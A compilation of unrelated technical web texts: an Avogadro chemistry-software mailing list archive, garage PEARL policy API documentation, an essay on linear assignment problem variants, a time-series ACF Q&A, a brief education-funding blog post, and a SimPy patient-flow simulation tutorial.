pdb and matching/replicated atoms as listed together rather than in their corresponding residue order. I plan on importing this into Gromacs, but in its current state the .pdb file is impossible to read. > > E.g., > > HETATM 1 N UNL 1 3.631 3.685 8.676 1.00 0.00 N > > HETATM 2 N UNL 2 165.943 3.685 16.225 1.00 0.00 N > > HETATM 3 N UNL 3 89.418 10.655 8.676 1.00 0.00 N > > HETATM 4 N UNL 4 80.156 10.655 16.225 1.00 0.00 N > > HETATM 5 C UNL 5 4.854 4.502 8.763 1.00 0.00 C > > HETATM 6 C UNL 6 164.720 4.502 16.138 1.00 0.00 C > > HETATM 7 C UNL 7 90.640 11.472 8.763 1.00 0.00 C > > HETATM 8 C UNL 8 78.933 11.472 16.138 1.00 0.00 C > > HETATM 9 C UNL 9 6.049 3.864 8.047 1.00 0.00 C > > HETATM 10 C UNL 10 163.525 3.864 16.854 1.00 0.00 C > > HETATM 11 C UNL 11 91.836 10.833 8.047 1.00 0.00 C > > HETATM 12 C UNL 12 77.738 10.833 16.854 1.00 0.00 C > > HETATM 13 O HOH 13 5.956 2.719 7.616 1.00 0.00 O > > HETATM 14 O HOH 14 163.618 2.719 17.285 1.00 0.00 O > > HETATM 15 O HOH 15 91.743 9.688 7.616 1.00 0.00 O > > HETATM 16 O HOH 16 77.831 9.688 17.285 1.00 0.00 O > > Any idea how to fix this? > > I'm beginning to think the only way around this would be to import my asymmetric unit structure into Gromacs, replicate the protein, identify the x,y,z location of a central atom from within Avogadro of one of the three replicated molecules, and perform some basic maths to translate the copies. > > Thanks > Anthony > > Dr Anthony Nash > Department of Chemistry > University College London > > _SKELETAL TISSUE DYNAMICS GROUP_ > _COMMITTEE MEMBER OF LONDON MATRIX GROUP _@... -- **************address file******************* Željko Svedružić Ph.D. zsvedruz@... web: https://profiles.google.com/106720515809875304148#106720515809875304148/about **************************************************
 Re: [Avogadro-Discuss] UNL after using Fill Unit Cell From: Geoffrey Hutchison - 2017-04-24 15:22:11 Attachments: Message as HTML > After importing my structure and checking the unit cell dimensions, I set the space group (5 c 2y c 1 2 1 as determined using Maestro) then select “Fill Unit Cell”. Visually, everything looks good. But unfortunately, all means of identifying the atom and the corresponding residue is lost in the exported pdb and The problem is that the "fill unit cell" does not necessarily match bonds and bond orders from the molecule. Consequently, when saving to PDB, the code attempts to perceive residues and can't match any of them (e.g., C-O instead of C=O for all amino acids). While in your case, it might be reasonable to copy bond orders, in the general case, this is impossible since bonds can go across unit cell boundaries. I don't know if Pymol will do this, but that would be my current suggestion- it has much better feature support for biomolecules. Hope that helps, -Geoff
 [Avogadro-Discuss] UNL after using Fill Unit Cell From: Nash, Anthony - 2017-04-23 08:12:14 Attachments: Message as HTML Hi all, I am trying to recreate the unit cell assemblage of 4z1r (visible using the PDB NGL viewer on the website). After importing my structure and checking the unit cell dimensions, I set the space group (5 c 2y c 1 2 1 as determined using Maestro) then select “Fill Unit Cell”. Visually, everything looks good. But unfortunately, all means of identifying the atom and the corresponding residue is lost in the exported pdb and matching/replicated atoms as listed together rather than in their corresponding residue order. I plan on importing this into Gromacs, but in its current state the .pdb file is impossible to read. E.g., HETATM 1 N UNL 1 3.631 3.685 8.676 1.00 0.00 N HETATM 2 N UNL 2 165.943 3.685 16.225 1.00 0.00 N HETATM 3 N UNL 3 89.418 10.655 8.676 1.00 0.00 N HETATM 4 N UNL 4 80.156 10.655 16.225 1.00 0.00 N HETATM 5 C UNL 5 4.854 4.502 8.763 1.00 0.00 C HETATM 6 C UNL 6 164.720 4.502 16.138 1.00 0.00 C HETATM 7 C UNL 7 90.640 11.472 8.763 1.00 0.00 C HETATM 8 C UNL 8 78.933 11.472 16.138 1.00 0.00 C HETATM 9 C UNL 9 6.049 3.864 8.047 1.00 0.00 C HETATM 10 C UNL 10 163.525 3.864 16.854 1.00 0.00 C HETATM 11 C UNL 11 91.836 10.833 8.047 1.00 0.00 C HETATM 12 C UNL 12 77.738 10.833 16.854 1.00 0.00 C HETATM 13 O HOH 13 5.956 2.719 7.616 1.00 0.00 O HETATM 14 O HOH 14 163.618 2.719 17.285 1.00 0.00 O HETATM 15 O HOH 15 91.743 9.688 7.616 1.00 0.00 O HETATM 16 O HOH 16 77.831 9.688 17.285 1.00 0.00 O Any idea how to fix this? I’m beginning to think the only way around this would be to import my asymmetric unit structure into Gromacs, replicate the protein, identify the x,y,z location of a central atom from within Avogadro of one of the three replicated molecules, and perform some basic maths to translate the copies. Thanks Anthony Dr Anthony Nash Department of Chemistry University College London Skeletal Tissue Dynamics Group Committee member of London Matrix Group @LondonMatrixGrp
 Re: [Avogadro-Discuss] GSoC person to contact in regard to Molecular Dynamics project in Avogadro2 From: Marcus D. Hanwell - 2017-03-28 14:21:01 On Tue, Mar 28, 2017 at 2:34 AM, Piyush Divyankar wrote: > > hello, > I wish to know who should I approach to learn more about the molecular dynamics project in Avogadro2. > That would be me, the projects all have mentors with email addresses, e.g. http://wiki.openchemistry.org/GSoC_Ideas_2017#Project:_Molecular_Dynamics for this one. Feel free to discuss your ideas on the list, I am sure Geoff will be interested in this too. Marcus
 [Avogadro-Discuss] GSoC person to contact in regard to Molecular Dynamics project in Avogadro2 From: Piyush Divyankar - 2017-03-28 06:34:59 Attachments: Message as HTML hello, I wish to know who should I approach to learn more about the molecular dynamics project in Avogadro2. Piyush Divyankar Graduate Metallurgical Engineering and Material Sciences IIT Bombay
 [Avogadro-Discuss] Want to Support Avogadro? From: Geoffrey Hutchison - 2017-03-24 17:42:17 Dear Avogadro community, A while ago, I circulated a survey about financial support for Avogadro. The results were very positive - lots of people were willing and interested in contributing to fund Avogadro development and promotion. I talked a bit with Marcus and investigated several options. My biggest concern is that Avogadro has always been about an open community. So I'm pleased to announce that Avogadro is now part of an Open Collective: https://opencollective.com/avogadro Open Collective provides a transparent, sustainable, and secure way for people to support and sponsor open source projects, including webpack, Yeoman, and hundreds of other open source projects. What makes it different, is that anyone can request reimbursement - and both budget and all expenses will be transparent. • Open involvement for anyone • Both individuals and companies can sponsor, fund, or back us (with potential tax benefits). • Following the money is easy and open • You help decide the future of Avogadro through your support • Anyone can collect funds by contributing to Avogadro While the default is for a monthly contribution, you can contribute yearly or one-time. What are we going to do with the funds? • Documentation and tutorials - the University of Pittsburgh has funded our manual (https://avogadro.cc/docs/) but we'd like to add more educational materials and tutorials • Bounties - I recently funded a "bounty" to enable Avogadro 1.3 to use the Eigen 3.x matrix library and we'd like to fund other bug fixes and feature requests • Publicity - I have ordered Avogadro stickers to distribute at the upcoming ACS meeting in San Francisco. We want to "get the word out" for both users and contributors • Your idea here - we'd like new ideas and input - what does Avogadro need most? This will never become a for-profit project, but we believe that using Open Collective and your support, we can attract new contributions and sustain all levels of Avogadro development and support. Thoughts? Suggestions? -Geoff
 [Avogadro-Discuss] question about the expected behaviour of "Label" From: Davide Olianas - 2017-02-14 14:01:15 Attachments: Message as HTML Hello everyone, I opened an Issue ; on github because I though I found a bug. The issue was quickly closed because “the labels won’t show if the atoms are too far from the camera”. I may be misinterpreting the meaning of the sentence because English isn’t my first language, but the labels appear to be working in a bizarre way on my machine. If the labels show from the beginning (i.e when opening the file), they still show no matter how much I zoom out; on the other hand, if the labels don’t show from the beginning, they don’t appear no matter how much I zoom in. Please see the attached images from the third comment on github. Can someone illuminate me? Thanks, Davide
 [Avogadro-Discuss] New Website From: Geoffrey Hutchison - 2017-02-10 17:32:56 I'd like to announce a new Avogadro website (http://avogadro.cc/) built with the Jekyll static site generator (from http://github.com/avogadro/avogadro.cc) The new site is responsive for mobile/tablet use, and should generally load faster - particularly when revisiting pages. Features: - Full manual (from http://manual.avogadro.cc -> https://avogadro.cc/docs/) - It's still editable - there is a link at the bottom of all pages that allows anyone to edit via GitHub - It's translatable - it's a set of Markdown files and we can produce multiple languages and localizations - No cookies or user tracking - Share buttons on all pages - Embedded comments via http://discuss.avogadro.cc (Right now, this is enabled for news posts, but I can open it up to other sections easily.) - Author profiles - if you add content, you can have a sidebar profile for attribution - Embedded MathJax - Embedding videos from YouTube and Vimeo It's not perfect. If you have comments, concerns, etc. please comment here or submit an issue: https://github.com/avogadro/avogadro.cc/issues For now, old content is still available - let me know if I missed something. Thanks, -Geoff
 Re: [Avogadro-Discuss] Avogadro Crash while reading an output file. From: Geoffrey Hutchison - 2017-01-31 19:27:21 > Avogadro is a wonderful program, we love it, just sometimes with it needs some help from VMD and wxMacMolPlt :-) Certainly packages like GAMESS have their own “native” programs like wxMacMolPlt. There’s no way that Avogadro could replace those (e.g., GaussView, IQMol, etc.) Moreover, we have no interest in replacing VMD or PyMol - both are great programs. Avogadro aims to be the best “builder” possible, and obviously that includes reading output files. I appreciate when we get crash reports, and I think this is now fixed. I’m also working on a broader solution with a crash-reporting system like Firefox or Chrome. -Geoff
 Re: [Avogadro-Discuss] Avogadro Crash while reading an output file. From: Željko M. Svedružić - 2017-01-30 20:42:07 Attachments: text/plain  Avogadro is a wonderful program, we love it, just sometimes with it needs some help from VMD and wxMacMolPlt :-) On 2017-01-30 16:53, tim hockswender wrote: > Thanks much for the input. I also see that wxMacMolPlt [I'm on WIN10] reads the file with no issues. > Avogadro starts by saying 'reading multi-molecule file' which is clearly incorrect. > My need for Avogadro stems primarily from wanting to visualize NMR plots, from GAMESS output. I have also used the free WebMO program but it has bugs when calculating the NMR output versus a TMS reference. > Regards, > Tim > > On Sat, Jan 28, 2017 at 4:55 PM, Željko M. Svedružić wrote: > >> dear Tim, I can open your log file in MacMolPlt and see all the frequencies. No problems. I always use MacMolPlt with GAMESS output, Avogadro is no reliable for GAMESS outputs even when it apparently reads the file. >> >> On 2017-01-09 20:32, tim hockswender wrote: >> >>> Attempting to open the attached log file leads to a crash every time. >>> "Avogadro has stopped working" >>> Inspecting the log file shows no compute errors, just 'chemical error of un-optimized PES >>> I have latest Avogadro (see image attached) and using GAMESS R2013. >>> [Making sure all is OK with GAMESS before using the new version.] >>> >>> Also attaching the inp file. >>> >>> Any advice? >>> Tom >> >> -- >> **************address file******************* >> Željko Svedružić Ph.D. >> zsvedruz@... >> web: >> https://profiles.google.com/106720515809875304148#106720515809875304148/about >> ************************************************** >> >> ------------------------------------------------------------------------------ >> Check out the vibrant tech community on one of the world's most >> engaging tech sites, SlashDot.org! http://sdm.link/slashdot [1] >> _______________________________________________ >> Avogadro-Discuss mailing list >> Avogadro-Discuss@... [2] >> https://lists.sourceforge.net/lists/listinfo/avogadro-discuss [3] -- **************address file******************* Željko Svedružić Ph.D. zsvedruz@... web: https://profiles.google.com/106720515809875304148#106720515809875304148/about ************************************************** Links: ------ [1] http://sdm.link/slashdot [2] mailto:Avogadro-Discuss@... [3] https://lists.sourceforge.net/lists/listinfo/avogadro-discuss [4] mailto:zsvedruz@...
 Re: [Avogadro-Discuss] Avogadro Crash while reading an output file. From: tim hockswender - 2017-01-30 15:53:20 Attachments: image.png Message as HTML Thanks much for the input. I also see that wxMacMolPlt [I'm on WIN10] reads the file with no issues. Avogadro starts by saying 'reading multi-molecule file' which is clearly incorrect. My need for Avogadro stems primarily from wanting to visualize NMR plots, from GAMESS output. I have also used the free WebMO program but it has bugs when calculating the NMR output versus a TMS reference. Regards, Tim On Sat, Jan 28, 2017 at 4:55 PM, Željko M. Svedružić wrote: > dear Tim, I can open your log file in MacMolPlt and see all the > frequencies. No problems. I always use MacMolPlt with GAMESS output, > Avogadro is no reliable for GAMESS outputs even when it apparently reads > the file. > > > > On 2017-01-09 20:32, tim hockswender wrote: > > Attempting to open the attached log file leads to a crash every time. > "Avogadro has stopped working" > Inspecting the log file shows no compute errors, just 'chemical error of > un-optimized PES > I have latest Avogadro (see image attached) and using GAMESS R2013. > [Making sure all is OK with GAMESS before using the new version.] > > Also attaching the inp file. > > Any advice? > Tom > [image: Inline image 1] > > > > -- > **************address file******************* > Željko Svedružić Ph.D.zsvedruz@... > web:https://profiles.google.com/106720515809875304148#106720515809875304148/about > ************************************************** > > > ------------------------------------------------------------ > ------------------ > Check out the vibrant tech community on one of the world's most > engaging tech sites, SlashDot.org! http://sdm.link/slashdot > _______________________________________________ > Avogadro-Discuss mailing list > Avogadro-Discuss@... > https://lists.sourceforge.net/lists/listinfo/avogadro-discuss > >
 Re: [Avogadro-Discuss] Avogadro Crash while reading an output file. From: Željko M. Svedružić - 2017-01-28 22:20:17 Attachments: text/plain  dear Tim, I can open your log file in MacMolPlt and see all the frequencies. No problems. I always use MacMolPlt with GAMESS output, Avogadro is no reliable for GAMESS outputs even when it apparently reads the file. On 2017-01-09 20:32, tim hockswender wrote: > Attempting to open the attached log file leads to a crash every time. > "Avogadro has stopped working" > Inspecting the log file shows no compute errors, just 'chemical error of un-optimized PES > I have latest Avogadro (see image attached) and using GAMESS R2013. > [Making sure all is OK with GAMESS before using the new version.] > > Also attaching the inp file. > > Any advice? > Tom -- **************address file******************* Željko Svedružić Ph.D. zsvedruz@... web: https://profiles.google.com/106720515809875304148#106720515809875304148/about **************************************************
2 messages has been excluded from this view by a project administrator.

Showing results of 1265

1 2 3 .. 51 > >> (Page 1 of 51)


text:
# garage.torch.policies.context_conditioned_policy¶

A policy used in training meta reinforcement learning algorithms.

It is used in PEARL (Probabilistic Embeddings for Actor-Critic Reinforcement Learning). The paper on PEARL can be found at https://arxiv.org/abs/1903.08254. Code is adapted from https://github.com/katerakelly/oyster.

class ContextConditionedPolicy(latent_dim, context_encoder, policy, use_information_bottleneck, use_next_obs)

Bases: torch.nn.Module

A policy that outputs actions based on observation and latent context.

In PEARL, policies are conditioned on current state and a latent context (adaptation data) variable Z. This inference network estimates the posterior probability of z given past transitions. It uses context information stored in the encoder to infer the probabilistic value of z and samples from a policy conditioned on z.

Parameters
• latent_dim (int) – Latent context variable dimension.

• context_encoder (garage.torch.embeddings.ContextEncoder) – Recurrent or permutation-invariant context encoder.

• policy (garage.torch.policies.Policy) – Policy used to train the network.

• use_information_bottleneck (bool) – True if latent context is not deterministic; false otherwise.

• use_next_obs (bool) – True if next observation is used in context for distinguishing tasks; false otherwise.

reset_belief(self, num_tasks=1)

Reset $$q(z \| c)$$ to the prior and sample a new z from the prior.

Parameters

num_tasks (int) – Number of tasks.

sample_from_belief(self)

Sample z using distributions from current means and variances.

update_context(self, timestep)

Append single transition to the current context.

Parameters

timestep (garage._dtypes.TimeStep) – Timestep containing transition information to be added to context.

infer_posterior(self, context)

Compute $$q(z \| c)$$ as a function of input context and sample new z.

Parameters

context (torch.Tensor) – Context values, with shape $$(X, N, C)$$. X is the number of tasks. N is batch size. C is the combined size of observation, action, reward, and next observation if next observation is used in context. Otherwise, C is the combined size of observation, action, and reward.

forward(self, obs, context)

Given observations and context, get actions and probs from policy.

Parameters
• obs (torch.Tensor) –

Observation values, with shape $$(X, N, O)$$. X is the number of tasks. N is batch size. O

is the size of the flattened observation space.

• context (torch.Tensor) – Context values, with shape $$(X, N, C)$$. X is the number of tasks. N is batch size. C is the combined size of observation, action, reward, and next observation if next observation is used in context. Otherwise, C is the combined size of observation, action, and reward.

Returns

• torch.Tensor: Predicted action values.
• np.ndarray: Mean of distribution.

• np.ndarray: Log std of distribution.

• torch.Tensor: Log likelihood of distribution.

• torch.Tensor: Sampled values from distribution before

applying tanh transformation.

torch.Tensor: z values, with shape $$(N, L)$$. N is batch size.

L is the latent dimension.

Return type

tuple

get_action(self, obs)

Sample action from the policy, conditioned on the task embedding.

Parameters

obs (torch.Tensor) – Observation values, with shape $$(1, O)$$. O is the size of the flattened observation space.

Returns

Output action value, with shape $$(1, A)$$.

A is the size of the flattened action space.

dict:
• np.ndarray[float]: Mean of the distribution.

• np.ndarray[float]: Standard deviation of logarithmic values

of the distribution.

Return type

torch.Tensor

compute_kl_div(self)

Compute $$KL(q(z|c) \| p(z))$$.

Returns

$$KL(q(z|c) \| p(z))$$.

Return type

float

property networks(self)

Return context_encoder and policy.

Returns

Encoder and policy networks.

Return type

list

property context(self)

Return context.

Returns

Context values, with shape $$(X, N, C)$$.

X is the number of tasks. N is batch size. C is the combined size of observation, action, reward, and next observation if next observation is used in context. Otherwise, C is the combined size of observation, action, and reward.

Return type

torch.Tensor


text:
The linear assignment problem (or simply assignment problem) is the problem of finding a matching between two sets that minimizes the sum of pair-wise assignment costs. This can be expressed as finding a matching (or independent edge set) in a bipartite graph $G = (U, V, E)$ that minimizes the sum of edge weights. The edge weights may be positive or negative and the bipartite graph does not need to be complete: if there is no edge between two vertices then they cannot be associated. Note that a maximum-weight assignment can be obtained by negating the weights and finding a minimum-weight assignment.

The simplest form of the assignment problem assumes that the bipartite graph is balanced (the two sets of vertices are the same size) and that there exists a perfect matching (in which every vertex has a match). Let $n$ be the number of elements in each set and let $C$ be a square matrix of size $n \times n$ that contains the edge weights. Missing edges are represented by $\infty$, such that $C_{i j} < \infty \Leftrightarrow (i, j) \in E$. The assignment problem can then be clearly expressed as an integer linear program: (note that the problem is not actually solved using a general-purpose ILP solver, it is just a convenient framework in which to express the problem)

\begin{aligned} \text{minimize } & \textstyle \sum_{i, j} A_{i j} W_{i j} \\ \text{subject to } & \textstyle A \in \{0, 1\}^{n \times n} \\ & \textstyle \forall i : \sum_{j} A_{i j} = 1 \\ & \textstyle \forall j : \sum_{i} A_{i j} = 1 \end{aligned}

The constraint that the sum of each row and column is equal to one ensures that each element has exactly one match. However, what happens when the graph is not balanced or does not contain a perfect matching? We cannot enforce the sums to be equal to one. Which problem should be solved?

I recommend reading the tech report “On Minimum-Cost Assignments in Unbalanced Bipartite Graphs” by Lyle Ramshaw and Robert E. Tarjan. I will summarize some of the main points here.

Let us consider a more general, rectangular problem of size $r \times n$ and assume (without loss of generality) that $r \le n$. If $r = n$ then the problem is balanced, if $r < n$ it is unbalanced.

Clearly an unbalanced probem cannot have a perfect matching, since there will be at least $n - r$ unmatched elements in the larger set. However, it may be possible to find a matching in which every vertex in the smaller set has a match. This is referred to as a one-sided perfect matching and the optimization problem can be expressed:

\begin{aligned} \text{minimize } & \textstyle \sum_{i, j} A_{i j} W_{i j} \\ \text{subject to } & \textstyle A \in \{0, 1\}^{r \times n} \\ & \textstyle \forall i : \sum_{j} A_{i j} = 1 \\ & \textstyle \forall j : \sum_{i} A_{i j} \le 1 \end{aligned}

The inequality constraints enforce that each element in the smaller set has exactly one match while each element in the larger set has at most one match. Ramshaw and Tarjan outline a method to reduce from an unbalanced problem to a balanced problem while preserving sparsity. A simple alternative is to add $n - r$ rows of zeros and then exclude these edges from the eventual solution. Most libraries for the assignment problem solve either the balanced or unbalanced version of this problem (see the later section).

However, whether balanced or unbalanced, it may still occur that the constraint set is infeasible, meaning that there does not exist a (one-sided) perfect matching. Let $\nu(W) \le r$ denote the size of the largest matching in the graph. If $\nu(W) < r$, then there does not exist a one-sided perfect matching and all possible matchings are imperfect.

Ramshaw and Tarjan actually outline three different versions of the assignment problem:

1. perfect matching
2. imperfect matching
3. minimum-weight matching

The imperfect matching problem is to find the matching of size $\nu(G)$ with the minimum cost. The minimum-weight matching problem is to find the matching of any size with the minimum cost. If $\nu(G) = r = n$, then perfect and imperfect matching coincide. Otherwise, when $\nu(G) < n$, there does not exist a perfect matching.

The imperfect matching problem can be expressed

\begin{aligned} \text{minimize } & \textstyle \sum_{i, j} A_{i j} W_{i j} \\ \text{subject to } & \textstyle A \in \{0, 1\}^{r \times n} \\ & \textstyle \forall i : \sum_{j} A_{i j} \le 1 \\ & \textstyle \forall j : \sum_{i} A_{i j} \le 1 \\ & \textstyle \sum_{i, j} A_{i j} = \nu(W) \end{aligned}

and the minimum-weight matching problem can be expressed

\begin{aligned} \text{minimize } & \textstyle \sum_{i, j} A_{i j} W_{i j} \\ \text{subject to } & \textstyle A \in \{0, 1\}^{r \times n} \\ & \textstyle \forall i : \sum_{j} A_{i j} \le 1 \\ & \textstyle \forall j : \sum_{i} A_{i j} \le 1 \end{aligned}

Ramshaw and Tarjan show that both of these problems can be reduced to finding a perfect matching in a balanced graph. When using linear assignment, we should carefully consider which of the three problems we actually want to solve.

### Remarks

#### In support of minimum-weight matching

The minimum-weight matching problem is often the most natural choice, since it puts no constraint on the size of the matching. To illustrate the difference between this and the other problems, consider the following balanced problem:

$\begin{bmatrix} 2 & -1 \\ -2 & -4 \\ \end{bmatrix}$

The solution to perfect (or imperfect) matching is to choose -1 and -2 for a total score of -3 and a cardinality of 2. The solution to minimum-weight matching is to choose -4 with a cardinality of 1.

Minimum-weight matching will never select an edge with positive cost: it is better to simply leave it unselected. Edges with zero cost have no impact.

It may be more natural to consider the maximization of positive weights than the minimization of negative costs.

#### Min-cost imperfect matching with positive weights

Be careful when solving imperfect matching problems with positive edge weights! I would avoid this situation altogether due to the tension that exists between maximizing the number of matches and minimizing the sum of (positive) costs. This may result in the unexpected behaviour that adding an edge to the graph increases the minimum cost. For example, compare the following two problems:

$W = \begin{bmatrix} ~ & 1 & 2 \\ 3 & ~ & ~ \\ 4 & ~ & ~ \\ \end{bmatrix} \quad \Rightarrow \quad \langle A^{\star}, W \rangle = 1 + 3 = 4$ $W = \begin{bmatrix} ~ & 1 & 2 \\ 3 & 5 & ~ \\ 4 & ~ & ~ \\ \end{bmatrix} \quad \Rightarrow \quad \langle A^{\star}, W \rangle = 2 + 5 + 4 = 11$

#### Quick and dirty transformations

Ramshaw and Tarjan above describes some clever techniques to transform imperfect and minimum-weight matching problems into perfect matching problems while preserving sparsity. Here we describe some quick and dirty alternatives.

We can always transform an unbalanced (and therefore imperfect) problem into a balanced problem by adding $n - r$ rows of zeros. The resulting balanced graph has a perfect matching if and only if the original unbalanced graph had a matching of size $r$ (in which every vertex in the smaller set is matched).

If we need to solve imperfect matching but we only have a solver for perfect matching, it suffices to replace the infinite edge weights with a large, finite cost (e.g. larger than the total absolute value of all weights). The resulting graph must contain a perfect matching since it is a complete bipartite graph, and each high-cost edge is worth more than all original edges combined. The high-cost edges can be excluded at the end.

Most existing packages either solve perfect, one-sided perfect or imperfect matching. To use one of these solvers for the minimum-weight matching problem, it suffices to replace all positive edges (including infinite edges) with zero. If using a solver that leverages sparsity, it is better to use the technique described by Ramshaw and Tarjan.

### Python packages

The table below outlines the different behaviour of several popular packages. The code that was used to determine the behaviour is available as a Jupyter notebook.

Module Function Behaviour
lapjv lapjv() Requires that problem is balanced (or else raises an exception). Requires that a perfect matching exists (or else returns infinite cost).
lap lapjv() Supports unbalanced problems (with extend_cost=True; although check issues #21, #22). Requires that a one-sided perfect matching exists (or else returns infinite cost).
scipy linear_sum_assignment() Supports unbalanced problems. Requires that a one-sided perfect matching exists (or else raises an exception).
lapsolver solve_dense() Supports unbalanced problems. Supports imperfect matching.
ortools LinearSumAssignment Requires problem is balanced. Requires that a perfect matching exists (or else raises an exception). Requires that costs are integer-valued.


text:
# Intuition of the convergence of sample ACF

One of the problems in Brockwell and Davis book about time series is to show that

1) if $$$$x_t = a + b t$$$$ then the sample autocorrelation ($$\hat{\rho}(h)$$) converges to 1 as the sample size tends to infinity for $$h \geq 1$$.

2) if $$$$x_t = a \text{cos}(\omega t)$$$$ then the sample autocorrelation ($$\hat{\rho}(h)$$) converges to $$\text{cos}(\omega h)$$ as the sample size tends to infinity, where $$a \neq 0$$ and $$\omega \in [-\pi, \pi)$$.

I can prove these two results, but what is the message this question is trying to give?

## 1 Answer

Referring to the first case, since x is a simple trend it increases linearly as a function of b. That is: $$x_t=x_{t-1}+b$$. So it is a perfectly predictable process where the first difference is deterministic and equal to b. It is a unit root process and as such it has perfect memory about all its past values because each $$x_t$$ depends on $$x_{t-1}$$ which on its turn depends on $$x_{t-2}$$, etc.. so it is just a sum of deterministic terms over time. So it has a perfect memory of all its past values. So logically the autocorr must be one at any lag.

Hint: try to write the autocorr function for a AR process and set the AR coefficuent to 1 (if you drop the white noise to substitute it with an intercept b and set the AR coeff ti 1 then you get exactly this non-stationary deterministic trend, so you get the same process!). For an AR process the autocorr at k lags is $$\phi ^{k}$$ so if $$\phi =1$$ then the autocorr will be always 1 regardless k.

• How could you derive the theoretical autocorrelation function for $X_t = a + bt$, because $E(X_t) = a + bt, \forall t$, so $cov(X_{t+h}, X_t) = 0$? – shani Aug 19 '19 at 12:34
• @shani rewrite the process x as a function of x_t-1 by subtracting x_t - x_t-1 : you find b. So x_t=x_t-1+b – Fr1 Aug 19 '19 at 12:37
• How it is helpful to derive the autocorrelation function of $X_t$, I think the derivation of $\phi^k$ assumes $|\phi |< 1$ – shani Aug 19 '19 at 12:40
• @shani ok then you substitute \phi = 1. Very logic, very intuitive.. – Fr1 Aug 19 '19 at 12:51


text:
## Monday, October 30, 2017

### Bill Gates Tries Again

Announced last week: Bill Gates will pouring another $1.7 billion into various education initiatives in the next few years. He has previously spent over$5 billion on various initiatives which he admits hasn't shown much in the way of results. This time:
He said most of the new money — about 60 percent — will be used to develop new curriculums and “networks of schools” that work together to identify local problems and solutions, using data to drive “continuous improvement.” He said that over the next several years, about 30 such networks would be supported, though he didn’t  describe exactly what they are. The first grants will go to high-needs schools and districts in six to eight states, which went unnamed.
Sounds a heck of a lot like Achieving the Dream (the network for community colleges).

More at Washington Post.


text:
In Part 1 of this series, we built a few simple patient flow simulation models using SimPy. They all were process oriented. In this post, I'll share my first attempt at an object oriented (OO) SimPy model for the same system. As mentioned in my previous post, I've had good luck building large complex discete event simulation models (including patient flow) with the object oriented Java library Simkit. In the process of building these initial OO models, I learned a bunch from the posts done by the folks at Grotto Networking.

## OB patient flow system to model¶

As a reminder, here's a picture of the simple system I'll be modeling.

For this first set of simple models, features/assumptions of the system include:

• Patients in labor arrive according to a poisson process
• Assume c-section rate is zero and that all patients flow from OBS --> LDR --> PP units.
• Length of stay at each unit is exponentially distributed with a given unit specific mean
• Each unit has capacity level (i.e. the number of beds)
• Arrival rates and mean lengths of stay hard coded as constants. Later versions will read these from input files.

I'm going to start by building the simplest model possible and then start layering on complexity and features.

## obflow_5_oo_2: A simple object oriented SimPy patient flow model¶

Since I'm new to SimPy, this first object oriented model will be relatively simple. There are only four classes:

• OBPatientGenerator - generates patients
• OBPatient - a patient; generated by OBPatientGenerator
• OBUnit - for modeling the OBS, LDR, and PP units
• ExitFlow - sink to which patients are routed when ready to leave the system

My goal was to just figure out how to model a simple static route, OBS -> LDR -> PP -> Exit, using SimPy in an OO way. Let's look at each class and then at the main driver script. You can get the code for this and the other models at https://github.com/misken/obsimpy.

### Imports and constants¶

In [2]:
import simpy
from numpy.random import RandomState

"""
Simple OB patient flow model 5 - Very simple OO

Details:

- Generate arrivals via Poisson process
- Define an OBUnit class that contains a simpy.Resource object as a member.
Not subclassing Resource, just trying to use it as a member.
- Routing is done via setting out member of an OBUnit instance to
another OBUnit instance to which the OB patient flow instance should be
routed. The routing logic, for now, is in OBUnit object. Later,
we need some sort of router object and data driven routing.
- Trying to get patient flow working without a process function that
explicitly articulates the sequence of units and stays.

Key Lessons Learned:

- Any function that is a generator and might potentially yield for an event
must get registered as a process.

"""
# Arrival rate and length of stay inputs.
ARR_RATE = 0.4
MEAN_LOS_OBS = 3
MEAN_LOS_LDR = 12
MEAN_LOS_PP = 48

# Unit capacities
CAPACITY_OBS = 2
CAPACITY_LDR = 6
CAPACITY_PP = 24

# Random number seed
RNG_SEED = 6353

### The OBPatientGenerator class¶

This class generates OB patients according to a simple poisson process (exponential interarrival times). Its run() method gets registered as a SimPy process. The main loop in run() yields until the time for the next arrival. Upon arrival, a new OBPatient instance is generated and a request is initiated for a bed in the first unit of the patient's route - OBS in this case. We'll see shortly how the routing information is included in the OBPatient class (a "hack" that we'll remedy later with proper routing related classes).

A few niceties were added to the class based on things I know will be useful to have later. These include:

• arrival stream and patient type attributes; future versions of this model will support multiple patient types (e.g. spontaneous labor and induced labor) and arrival streams (e.g. random and scheduled),
• ability to shut off arrivals based on simulation time or number of patients generated.
In [3]:
class OBPatientGenerator(object):
""" Generates patients.

Set the "out" member variable to resource at which patient generated.

Parameters
----------
env : simpy.Environment
the simulation environment
arr_rate : float
Poisson arrival rate (expected number of arrivals per unit time)
arr_stream : int
Arrival stream id (default 1). Currently there is just one arrival
stream corresponding to the one patient generator class. In future,
likely to be be multiple generators for generating random and
scheduled arrivals
initial_delay : float
Starts generation after an initial delay. (default 0.0)
stoptime : float
Stops generation at the stoptime. (default Infinity)
max_arrivals : int
Stops generation after max_arrivals. (default Infinity)
debug: bool
If True, status message printed after
each patient created. (default False)

"""

def __init__(self, env, arr_rate, patient_type=1, arr_stream=1,
initial_delay=0,
stoptime=simpy.core.Infinity,
max_arrivals=simpy.core.Infinity, debug=False):

self.env = env
self.arr_rate = arr_rate
self.patient_type = patient_type
self.arr_stream = arr_stream
self.initial_delay = initial_delay
self.stoptime = stoptime
self.max_arrivals = max_arrivals
self.debug = debug
self.out = None
self.num_patients_created = 0

self.prng = RandomState(RNG_SEED)

self.action = env.process(self.run())  # starts the run() method as a SimPy process

def run(self):
"""The patient generator.
"""
# Delay for initial_delay
yield self.env.timeout(self.initial_delay)
# Main generator loop that terminates when stoptime reached
while self.env.now < self.stoptime and \
self.num_patients_created < self.max_arrivals:
# Delay until time for next arrival
# Compute next interarrival time
iat = self.prng.exponential(1.0 / self.arr_rate)
yield self.env.timeout(iat)
self.num_patients_created += 1
# Create new patient
obp = OBPatient(self.env.now, self.num_patients_created,
self.patient_type, self.arr_stream,
prng=self.prng)

if self.debug:
print("Patient {} created at {:.2f}.".format(
self.num_patients_created, self.env.now))

# Set out member to OBunit object representing next destination
self.out = obunits[obp.planned_route_stop[1]]
# Initiate process of requesting first bed in route
self.env.process(self.out.put(obp))

### The OBPatient class¶

